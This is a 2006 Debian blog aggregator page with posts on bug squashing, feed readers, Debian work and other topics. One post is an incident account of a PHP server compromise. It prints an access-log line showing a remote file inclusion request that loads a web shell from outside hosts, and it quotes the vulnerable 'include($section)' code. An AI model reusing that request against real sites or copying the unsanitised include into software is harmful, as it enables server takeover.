Search Results: "reg"

9 October 2006

John Goerzen: Hutchinson News Interview

Terah and I were interviewed over the phone last week by a reporter for the Hutchinson News, a daily newspaper in this area. His story about local bloggers is online today. We're towards the end of the story.

Martin F. Krafft: Report from the Zurich BSPs

Yesterday, the second of Zurich's two bug squashing parties came to an end. As organiser I feel as if both events have been very successful. On 9 September, between 5 and 8 people hacked on Debian all day, and we managed to fix 17 release-critical bugs without opening any new ones. This past weekend, we had about the same number of people working between the early morning hours (9:00 o'clock) and dinner time, and fixed 27 release-critical bugs, alongside a slew of normal bugs on the way. Unfortunately, we encountered three new release-critical bugs. In the end, we decreased Debian's release-critical bug count by 41! One of the attendees, Hanspeter Kunz, worked on the BSP beginner's HOWTO while he was learning about the art of bug squashing. The document is still in the works, please feel free to contribute. I would like to thank all attendees for their time and work, and I hope my organisation made the events pleasant for all. I also would like to thank our sponsors: /ch/open and Google for covering our travel and catering expenses, and the Artificial Intelligence Laboratory for letting us use their space and infrastructure. The organisational effort required from my end was minimal, largely due to my relation to the AILab. This means that it would not be too hard for me to organise another event, but I do not think I'll have the time to do so before the release of Debian "etch". Anyway, if I can somehow excite more sponsors, the Zurich BSPs might turn into a semi-regular event, attracting people from far away, like it did to Debian's second-in-command, Steve McIntyre, who honoured us with his presence. NP: Mono / You Are There

8 October 2006

Erich Schubert: On Google Reader

First of all, I havn't really used Google reader yet. I think I tried it a long long time ago once, and they apparently did a UI redesign. However, it doesn't work for me anymoe, all I get is "Loading..." (and a Javascript error). I'm using liferea, and I'm quite happy with it. Some of the things I do like: Because of these I can't imagine using an online reader. P.S. If you fold your blog entries or don't do full-text RSS, I likely won't read your entries, either. It doesn't work with offline reading habits.

Gunnar Wolf: About Google Reader

Ian: I have to agree with you - Google Reader rocks. So far, I've been quite reluctant on putting more personal information in other entities hands than what is necessary - specially when those entities are, as Google, expert in exploiting whatever they learn about you. Call me a paranoid, a privacy freak, or whatnot, but after fooling around a bit on Orkut, I decided to withdraw all of my participation there (and never engaged on explicit social network sites ever again - Of course, my participation in several mailing lists is tracked by many Web searchers, and I'm sure I'm well categorized in non-explicit social networks - To say the least, my GPG key is in the Debian keyring ;-) ). I never got a Gmail account and hope I'll never have to - After all, gwolf.org gives me way more than 1Gb of space, is easily accessible and searchable (by me and only by me)... Why should I worry with that?
But, yes, Google Reader gave me something I didn't ever before have: The ability to read my RSS feeds from wherever, from whatever computer, without worrying about synchronizing. For the first time ever, I found my cell phone's uncomfortable, tiny but usable Web browser good for something - whenever I cross the city, I can do it reading news or my friends' life updates. That's quite cool, and that's the only reason I'm ditching Liferea.
But unlike you, I would prefer a more mailbox-like system on Reader. And having to use non-free software sucks, as there is no way for me to change this but to bitch around :) Why do I like to treat my feeds as mail folders? Because there is certain coherence between them. If I just "read all", I get a strange mixing of unrelated items. However, in Liferea, I went through each of my feeds, in order, unless (of course) I decided to jump to another one. And I can do the same in Reader, by clicking on each individual feed with pending items... But it's a manual operation, and those should be avoided. Liferea does support acting as Google Reader, when you click on the "all unread items" virtual folder, but the default style is just the other one.
Anyway... I know that overloading Reader with everybody's preferences is not an option. I know I am not like most Google Reader's users, and it sucks. I'll have to get used to the more regular style (or write an aggregator for myself and host it at gwolf.org or such), but I'm too tied with other stuff to give it a go. :-/
Besides, I like to complain.

6 October 2006

Adam Rosi-Kessel: Absurd Trademark Law Case of the Day

Via BNA’s Internet Law News, from the “does this argument pass the straight face test?” department:
SPAM MAKER SEES TRADEMARK BID CANNED
Hormel Foods, which owns the trademark for the spiced-ham food product Spam, has failed in its attempt to register “spam” as a European Union-wide trademark when used to designate unsolicited e-mails. Hormel argued in an appeal to the Office of Harmonisation for the Internal Market, the EU trademark body, that the general public would not immediately recognize the use of the word spam as pertaining to junk e-mail but would instead associate it with “a kind of spicy ham” food product.
http://news.com.com/2100-1030_3-6123095.html

5 October 2006

Russell Coker: Virgin - no free water and renewable energy

When returning from Ruxcon I took a Virgin Blue flight.

The Virgin web site has a FAQ with the following advice regarding DVT:
Drink plenty of water and other fluids during and after the flight, limiting alcohol, tea and coffee.

However Virgin provide no free water on the flight and charge $2 for 350ml of water! This is a strong incentive to buy caffeinated drinks and/or alcohol, after all if you are going to pay then you want something better than water!

They should provide free tap water as a basic health measure.

On the positive side there was an interesting article in the Virgin Blue magazine about alternative sources of fuel. It covered bio-Diesel (renewable and produces less toxic smoke), and producing Diesel from waste plastic (saves space in land-fill as well as providing fuel). It wasn't as technically detailled as I would like and it didn't mention some of the methods being developed for producing Diesel fuel from algae or the work on using bio-fuel for jet aircraft (which would be appropriate for an airline magazine).

But it's a good start, hopefully some travellers will learn that there are environmental problems and ways that we can fix them.

4 October 2006

Edd Dumbill: The best of XTech 2006

As I'm finalising the call for participation for XTech 2007 (15-18 May 2007, Paris, France), I've taken a look back at the some of the best received presentations from the 2006 conference. I thought them well worth sharing again here. To be sure of hearing about the call for participation and other XTech 2007 news, sign up for the newsletter or keep an eye on this blog. Native to a Web of Data: Designing a part of the Aggregate Web
Tom Coates (Yahoo!)
What are the architectural elements of the emerging web of data; how do you build services to thrive in this environment? What needs to change and what needs to return to fundamental principles? How do we bring it all together to make something awesome?
An open (data) can of worms
Paul Hammond (Yahoo!, ex-BBC)
Open data is not a panacea, and presents as many questions as answers. Technology can only solve some of these issues, this presentation outlines some of the other, more fundamental, problems.
Etna, a WYSIWYG XML RELAX NG and Gecko-based editor
Daniel Glazman (Disruptive Innovations)
A presentation of the new WYSIWYG XML editor based on Gecko, and its underlying implementation of RELAX NG. How American are startups?
Paul Graham (Y Combinator)
Startups are largely an American phenomenon. Why? What is it about America that makes startups work there? Could Silicon Valley be replicated in another country?
Written up as two essays: The power of declarative thinking
Steven Pemberton (W3C/CWI)
This talk discussed the requirements for Web Applications, and the underpinnings necessary to make Web Applications follow in the same spirit that engendered the Web in the first place.
RDF/A: The Easy Way to Publish Your Metadata
Mark Birbeck (x-port.net Ltd.)
RDF/A is a new, and simpler, way of adding metadata to documents, in such a way that the document contains its own metadata--making it easy to turn a home page into a FoaF file or RSS feed.

Stefano Zacchiroli: why i love collab maint

Why I love collaborative maintenance
zack@aquarium:~/pkg-ocaml-maint/trunk/packages$ find . -name control -exec sed -i s/XS-X-Vcs-Svn/XS-Vcs-Svn/   \;
zack@aquarium:~/pkg-ocaml-maint/trunk/packages$ svn commit -m 'renamed Vcs-Svn to match the final name'
Sending        packages/advi/trunk/debian/control
<snip>
Transmitting file data ..........................................................................................
Committed revision 3216.

Wouldn't it be super cool to be able to do the same on all packages of the Debian archive? And no, I'm not speaking about the damned XS-Vcs-* field with which I've already bothered you a lot. I'm talking about the ability of perform massive changes on the whole bunch of Debian packages in a batch fashion. Of course permissions should be accounted for, but it can be reduced to not being a big deal. Just map the current idea of maintenance group to regular Unix groups used to govern who-can-commit-where in the repository, perhaps with some super-group like "release managers" or "qa" who can commit everywhere. Finally, add the topping of a couple of scripts to automatically rebuild and/or upload packages from the repository. Wouldn't that have a great potential of improving the boring procedure of NMU, never too quick and easy to not hinder its diffusion?

Russell Coker: dunc-tank and motivation

The dunc-tank project was established to raise money to compensate some Debian developers who are essential to producing a timely release of Debian. There has been a lot of acrimoneous debate about whether this is a good or bad thing. The positive side of it is that the release managers will get to spend more time working on Debian, the negative side is that some volunteers will lose motivation.

However I have felt more motivated to do my unpaid Debian work. During the time that I was employed by Red Hat I was fairly slack about my Debian development work (incidentally Red Hat management were happy for me to continue Debian work so there was no pressure from Red Hat in this regard). Since leaving Red Hat I have been busy doing paid work.

Recently I have started getting involved in Debian work again. I am about to upload a new version of Postal for the first time in three years, I have set up a Xen server for Debian SE Linux development, and I am about to start serious Debian SE Linux development work again.

One factor in this has been my impression that other DDs are taking the release seriously. In the past schedules for release have slipped repeatedly without end. Now there is a schedule and this gives me more motivation to get bugs fixed!

Axel Beckert: Mailing lists made my day

Today actually two mailing lists made my day: First Theo de Raadt’s mail to the FreeBSD security mailing list:
Date:       Mon, 02 Oct 2006 14:00:11 -0600
From:       Theo de Raadt <deraadt@cvs.openbsd.org>
To:         freebsd-security@freebsd.org
Subject:    Re: FreeBSD Security Advisory FreeBSD-SA-06:22.openssh 
Message-ID: <200610022000.k92K0B5P009759@cvs.openbsd.org>
> The OpenSSH project believe that the race condition can lead to a Denial
> of Service or potentially remote code execution
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Bullshit.  Where did anyone say this?
Why don't you put people in charge who can READ CODE, and SEE THAT
THIS IS ABSOLUTE BULLSHIT.
and Colin Percival’s dry reply pointing out who made the “ABSOLUTE BULLSHIT”:
Date:       Mon, 02 Oct 2006 14:25:05 -0700
From:       Colin Percival <cperciva@freebsd.org>
To:         Theo de Raadt <deraadt@cvs.openbsd.org>
Cc:         freebsd-security@freebsd.org
Subject:    Re: FreeBSD Security Advisory FreeBSD-SA-06:22.openssh
Message-ID: <452183B1.7000306@freebsd.org>
Theo de Raadt wrote:
>> The OpenSSH project believe that the race condition can lead to a Denial
>> of Service or potentially remote code execution
>                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> Bullshit.  Where did anyone say this?
The OpenSSH 4.4 release announcement says that, actually:
 * Fix an unsafe signal hander reported by Mark Dowd. The signal
   handler was vulnerable to a race condition that could be exploited
   to perform a pre-authentication denial of service. On portable
   OpenSSH, this vulnerability could theoretically lead to
            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
   pre-authentication remote code execution if GSSAPI authentication
   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
   is enabled, but the likelihood of successful exploitation appears
   remote.
Colin Percival
Well, looks like an exquisite own goal. (Found by Squeeeez.) Then, _rene_ cited a mail from the current Debian Project Leader Anthony Towns on debian-devel in #debian.de, who thought that Switzerland was some foreign word meaning “snowy place” :
Date:       Tue, 3 Oct 2006 15:52:38 +1000
Subject:    Re: Bits from the DPL: Looking forward
From:	    Anthony Towns <aj@azure.humbug.org.au>
Message-ID: <20061003055238.GA4841@azure.humbug.org.au>
On Tue, Oct 03, 2006 at 03:39:20PM +1000, Anthony Towns wrote:
> BSPs in Vienna (Switzerland) [3], 
I was assuming, of course, that "Switzerland" was some foreign word
meaning "snowy place", but apparently it's actually a country all of
its own, entirely separate to Austria...
On Tue, Oct 03, 2006 at 03:43:52PM +1000, Anthony Towns wrote:
> (b) Firmware vote
> proposal, as amended by Manon Srivastava (Message-id:
And while _Manon des sources_ might've been a neat French film, I don't
think it's actually got all that much to do with Manoj...
Cheers,
aj
And contrary to the usual biases, this geographic unawareness comes from Australia (which is unequal to Austria ;-) and not from the US. :-) Guys, you all made my day. Kind regards from a currently not so snowy snowy place. :-)

Steve McIntyre: Why I Became a Debian Developer

I've been doing Debian for 10 years, as of this month. I reckon that's a good excuse for some ponderings... For a long time in college in Cambridge, I was a Slackware user and supporter. It was my first distribution, installed in May 1994. I sent patches to Pat for bugs that I'd found, and I helped several of my friends in college maintain their machines running Slackware too. But after a couple of years of that, I grew tired of spending more time maintaining the OS on my machine than actually using it; I had even gone through the trials of the transition to ELF by hand. Some friendly pushing by my friend Jon Rabone (at the time also a DD) was finally enough, and one weekend in October 1996 we sat down together and started to install Debian on my PC. That first installation was a nightmare! It was a major struggle, and more than one time that weekend I threatened to go back to the comfortable security of Slackware. The installer was awful, and needed lots of hand-holding. Eventually, however, we got there. hammer.chu.cam.ac.uk became a Debian machine, and most of it worked. By the end of that Sunday, I was convinced to stay with it. Next, I decided that I wanted to contribute. The NM process in 1996 was quite simple - I mailed Bruce Perens with my PGP public key and asked him for an account. The package I wanted to maintain was mikmod. At the time I was one of the upstream developers, and I wanted to make sure it worked well in Debian. Unfortunately, I had already been beaten to it - Joey Hess had already packaged it in the few days since I first started work. Some things never change... :-) I mailed Joey and took over the package, then I started looking for other things to help with. I had long been annoyed that my Slackware patches had never met with any response, so Debian seemed ideal for me - a place where I could make a difference directly. Over the following years, I took on, worked on and passed on lots of packages. At one point, I was maintaining lots of audio programs. At another I worked on lots of archiving and compression programs. Then I moved onto the debian-cd team. Debian was excellent fun: I got to use a great, stable operating system and I got to work on it and help make it better! It hasn't all been plain sailing - there have been plenty of times when I've become disillusioned with things. There have been times when I've spent an entire night or weekend hacking on things and felt unhappy that either I hadn't made any progress or (even worse) my effort wasn't appreciated. There have been times when I've gone without sleep to get a package fixed or a CD build done, because I felt it mattered. To offset that, there have been great moments: going along to Linux Expos and meeting users of my packages who wanted to say thanks and buy me beer; travelling around the world, meeting up with DDs and chewing the fat; playing Mao in the middle of the night at Debconf; most especially the feeling of achievement when my^Wour work is done and we manage to finish a release. Oh, and that first installation? It's still around, almost ten years later. It has moved onto different hardware more times than I can remember, but I've continued upgrading it regularly ever since. It was once my only computer, but now it's one of many. hammer became sledge, then jack. It's now the machine that holds my Debian mirror and serves files to the rest of my home network. That's what I call upgradeability! It's a story that I tell people at Expos, and every year it gets more impressive... :-)

3 October 2006

Martin F. Krafft: Ikiwiki and issue tracking

It's been a while, but Joey Hess replied publicly to a discussion we had on IRC, but he only looked at whether issue tracking in a wiki makes sense. Thus I wanted to add my point of view. Three months after I originally started this post. Oh well. The reason I contacted Joey Hess was because I was (and am still) on the look for better tools for my personal information management, and I identified several important aspects I'd want from such a system:
  • An issue tracker, to be used as my own todo list
  • A wiki, or some form of integrating web frontend to make it easy to browse the information and give others granular access to it.
  • A backend store that can be properly synchronised across several machines (so that I can always have an offline copy on my laptop).
  • A command-line interface for manipulation of existing and addition of new contents. I want to use the regular Unix tools for the interaction.
  • A blog engine.
  • Granular permissions, either based on a Netware-style user database with records of content-and-permission tuples per user, or a simple password protection for individual content items.
  • A mail-in interface for new issues, so that I can simply bounce mails by customers to the system and have it assign a ticket number. Given a command-line interface, though, this could be added without much effort.
In terms of integration, I am thinking mostly about WikiWords that get automatically linked to the corresponding wiki pages, if these exist, and across all components; so if I write a blog entry or add a new issue to the tracker, I can easily refer to content on my own wiki (or the issue tracker, or blog) without much typing. I imagine further synergies are possible but have not put much time into thinking about those. The main reason I contacted Joey about this, because his ikiwiki has a backend store capable of synchronisation: it's a wiki engine (which can also be used for blogging), but it's based on the subversion version control system. Together with svk or bzrsvn, it definitely meets the synchronisation requirements about as good as it gets. But ikiwiki falls short in three main points for me:
  • it does not integrate an issue tracker, so I'd have to use another product and hack up the integration.
  • it is based on Subversion, but it does not include a browser for the version control system. Joey may argue -- and I would have to agree with him on principle -- that such a component has no place in Ikiwiki and there are already plenty of other tools that do a better job at repository browsing than he'd ever be willing to implement. But still, I'd like to have integration with the version control system and be able to easily refer to files and changesets, again without jumping through hoops.
  • it is written in Perl and I am not much of a Perl hacker, so it's not going to be easy for me to contribute to and extend the code base.
Also, ikiwiki does not have a permissions subsystem, though I'm sure it would be possible to add that fairly easily. Many who have read this far will probably think Trac, which I've also inspected. Trac is written in Python (which I grok), and it integrates a wiki engine with an issue tracker and a (single) repository browser much in the way I want it. However, it comes without granular permissions, and wiki content and issues are stored in an SQL backend, rather than the version control repository to which a Trac instance can be bound. This also leaves it without a command-line interface or synchronisation abilities -- unless I want to manipulate SQL records and set up replication between SQL backends. If you care, I am not the only one who wants to see Trac use the VCS backend for wiki content and issue storage. So I am still on the look. If you have any comments, please mail me. NP: Sybarite / Placement Issues Update: Joey tells me that ikiwiki now also supports git, Mercurial, and tla backends, and that Monotone is in preparation. I wonder how long it'll take until bzr is added.

Paul van Tilburg: Atanasoff

There was no real known reason why our essay for the course History of Computing was overdue, but Bas and I finally managed to finish it yesterday. Almost two years we have been postponing writing it, slowly collecting and reading more material, but after a few weekends of hard work, it is done: John Vincent Atanasoff: The Inventor of the Digital Computer (copyrighted under CC SharedAlike 2.5) The essay tries to acknowledge Atanasoff’s accomplishments, the ABC, and ideas that we still find in our computers today (binary system, regenerative memory, separation of calculation and memory and calculation by electronics and logic). Without these ideas and the derivations that found its way into the ENIAC, the world would’ve been a different place for sure. I was surprised by the increased amount of work it requires to write a work covering a historical topic. For each sentence you write down, you either have to do a lot of research, you have to make sure it is objective or if it is not objective you have to find a source backing up what you are stating. This way, writing 1,5 pages on an average Saturday is a lot, comparing to writing a report about some practical assignment, which is fairly easy and straightforward. Even more so since our topic is surrounded by controversy.

2 October 2006

Jonathan McDowell: Credit where credit's due

I've been quiet recently. I spent a week with the cold, then a week being stressed. I'm hoping this week is uneventful. One thing I've been meaning to post about for the past month or so are some positive supplier experiences I've had. Like most people I'm quick to whine when things go wrong and I've had a few things I didn't expect to go smoothly be fine. First up, eBuyer. I mentioned in my initramfs post that I had a disk that had been damaged in transit (according to the manufacturer's diagnostic tool). I wasn't looking forward to trying to return this, as I feared eBuyer would try to weasel out of the RMA. However it all went smoothly. Took them a couple of days to issue the RMA authorisation number, but after that I sent it off including the receipt for the posting and they sent me an email to confirm when they had it and when they sent me out the new one. And credited the postage back to my credit card. I was gobsmacked. I've been using them as a cheap box shifter for a few years and always assumed that the instant I had any problems it would all be pain, but no. It wasn't the quickest of processes, but it did all proceed without me having to chase anyone. Next, Scan. I've hated them for years. Pre 2000 I vowed I'd never use them again for reasons I can't remember. In 2000 I capitulated and ordered a Scan 2000 DVD player from them (which is still going strong). However despite being stiffed £10 for next day delivery it didn't turn up, nor the next day and eventually I had to ring them and find they'd failed to authorise my card and hadn't bothered to contact me. I vowed I'd uphold my pledge never to use them and until recently had done so. And then I needed some 1U heatsinks in a hurry and the initial supplier I'd found were being slow about getting stock. Scan had enough in stock so I decided to risk it. And they turned up next day, with several text messages keeping me informed about progress. I'm won't be using them in general, but I might try them again at some point. Finally, regular readers (all 4 of you) will remember the pain I suffered at the hands of Xinit. Black Cat needed some new dedicated servers and I was having problems finding what I wanted (Xeon LVs for low power usage goodness). Neil had some good things to say about Sentral Systems (well, actually Flexiserv who morphed into Sentral) so I figured I may as well drop them an email. I wasn't really expecting much, so when they got back and said they thought they could do exactly what I wanted within a week I was sceptical. Especially as that was a complete server whereas even looking for the bare chips I was getting quoted lead times of at least 4 weeks. To be honest they didn't manage it in a week - it was more like a week and a half (I think the order was confirmed on a Nonday and delivered Wednesday week later). Damn fine. Plus they kept me informed throughout the process and the one time I considered ringing them to ask what the status was they sent me an email within an hour of me thinking it anyway. The servers are nice and nippy too. :)

Erich Schubert: SELinux and package install scripts

The horror of providing full SELinux support out of the box are install scripts. Installing files of a package is rather easy. Install them, relabel them. This can be added to the package manager. (And I believe dpkg already does that). However, package install scripts are becoming more and more complex, and they aren't SELinux aware. And there is a lot of stuff that can go wrong here. For example, a package might want to generate a configuration file for the service you just installed. If this configuration file is to have the same context as the directory containing the configuration file, there won't be a problem - but if it's to have a different context, the generated file will be incorrectly labeled. I see two basic solutions to this: Any other smart solution for these problems? Sometimes I wish we could do without turing-complete postinst scripts...

Julien Danjou: DeFuBu contest #3

Bug Welcome to this 3rd issue of the DeFuBu contest, the monthly championship of the funniest bug reported to the Debian BTS. The challengers How the vote has been done Four Debian related people voted for these bugs: Pierre Machard, Pierre Habouzit, Florent Bayle and Mohammed Adn ne Trojette.
Samuel Hocevar did not vote because he was not paid for it. Full ranking Bugs Challengers The winners Notes To participate, simply drop me an email with a bug number. About DeFuBu

MJ Ray: TPM/DRM

There was a protest/rally outside Apple Store in Regent Street, London, England from 2pm on Saturday 2006-09-30, just ahead of 2006-10-03's Day Against DRM. First coverage I saw was from Simon Morris on fsfe-uk. Gareth Bowker's report has links to pictures and so on. This picture cracks me up in several ways, including the presence of other relevant subvertising and outdated BT advertising.

1 October 2006

Joachim Breitner: Hosting PHP proven harmful

I happen to have my own root server, and since there are always resources left, I did not mind hosting some other people's pages as well. I especially offer all the final classes of my school to host their website, to keep up a consistent domain naming scheme, starting with my own class page, http://04.abi-sgh.de/. This was a nice services to the following classes, as the amout of pictures such a class generates usually exeeds regular hosting constraints. Custom programmed websites, like mine and some more, are nice too.Now, today, my web server was not running. I tried to restart it, but port 443 was used, and I thought: "WTF"? netstat showed my a process with the strange name of "mysqld_" sitting on that port. ls -l /proc/.../cmd showed a binary named "httpd" in a path "/var/www/...(very deep)/.../.ssh/". Now it dawned me: Someone hacked my server.A quick "ls -l" in that directory indicated that it was done as the www-data server, and probably no root was gained. There were also two DVD rips laying around, so my server seemd to have been turned in to a movie sharing platform. The "httpd" binary, as "strings" confirmed, is a IRC-fileshareing server called iroffer, and a tool to hide processes was in that directory too.Luckily, the attackers did not hide their traces too well. The date of the "..." directory gave me the exact time of the attack, and around that time, entries like this one appeared in the access.log:
62.123.94.34 - - [30/Sep/2006:16:26:22 +0200] "POST /index.php?section=http://bote.balikesir.edu.tr/~bote0301/
cmd.gif?http://prctl.iespana.es/cmd.gif?&action=cmd&chdir=/var/www/05.abi-sgh.de/ HTTP/1.1" 200 34224
"http://05.abi-sgh.de/index.php?section=http://bote.balikesir.edu.tr/~bote0301/cmd.gif?http://prctl.iespana.es/cmd.gif?&
action=cmd&chdir=/var/www/05.abi-sgh.de/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 1
Until today I thought attacks via PHP only affect the well-known pieces of software like the usual web forum, where the code is public and finding holes pays off, and I was expecting that one of the websites on my server ran such a buggy version of something. It truned out that the index.php affected here is actually a self-programmed piece of code by someone from that class. But I guess the mistake they did is as common as it is stupid, and I also guess that PHP's reputation for being insecure is justified, if this is actually possible.The relevant piece of code is, after the usual HTML header: <? include($section); ?>. That's it. $section is defined no where, and PHP has a mode where CGI parameters are used one-to-one as global variables. So $section is actually the user's option to the "section=" part of the header. And PHP also seems to open URLs and local files just the same. So the attacker just had to put a PHP code file (the cmd.gif file is actually a php file) somewhere and pass it as the "section". Now, I'm sure with the right server settings and differnet code, PHP can be as secure (or insecure) as perl or python. But Features like that should not be in a web programming language in the first place!The cmd.gif seems to be some kind of shell for the web, allowing the user to run commands, download stuff etc, and that's how they operated on my machine. I am not sure why the binary they installed got access to port 80 and 443, but I assume that the php they run can somehow exec() the binary, thus taking over the ports, and when the webserver was restarted in the night because of log rotation, it could not come up again. Another puzzling fact is the directory they stored their stuff in. It is not related to the site they hacked, and happend to be one of the least-used parts of /var/www. Maybe they looked for directories with a very long ago atime or something.I guess I have to have a closer look at what happens on my server. Any maybe I will ban self-written php.Update: A lot of comments came in with suggestions on how to improve security with foreign PHP content. Thanks to all of you! I also hope that other admins might stumble over this page and read these comments before something happens.

Alexander Schmehl: How to give back, part deux

Joey kindly mentioned one of my regular talks titled payback time. I just uploaded the slides of the talk to people.d.o. (Slides made with latex-beamer; source-code availabe, too, licensed under GPL-2; feel free to do your own talks based on this or to contribute new ideas.) BTW: I did that talk twice in English, at DebConf5 's debianday and before that at Asian mini debconf 2005 in Beijing. Might be easier to understand for non German readers ;) The DebConf-5 session was filmed by the video team. It's available on meetings-archide.d.n in different formats mpeg (111M), low resolution ogg theora (57M), high res ogg theora (123M). Kudos again to the video team :) Oh, and I should mention, that it wasn't my fault, that I look a bit like a clueless idiot in that video. We had technical problems on the first day, distracting me a bit. Really! BTW: I always planed to write a good documentation regarding that topic, but never had the time to do this. I have still some notes on paper. If someone would like to help me with this, please drop me a mail.

Federico Di Gregorio: "Ghost talk"

Mahyem ci sveglia tutti alle 4AM per un ghost talk. "Anche tu dovrai dormire prima o poi". Poi, stremato, ha dormito...

Next.

Previous.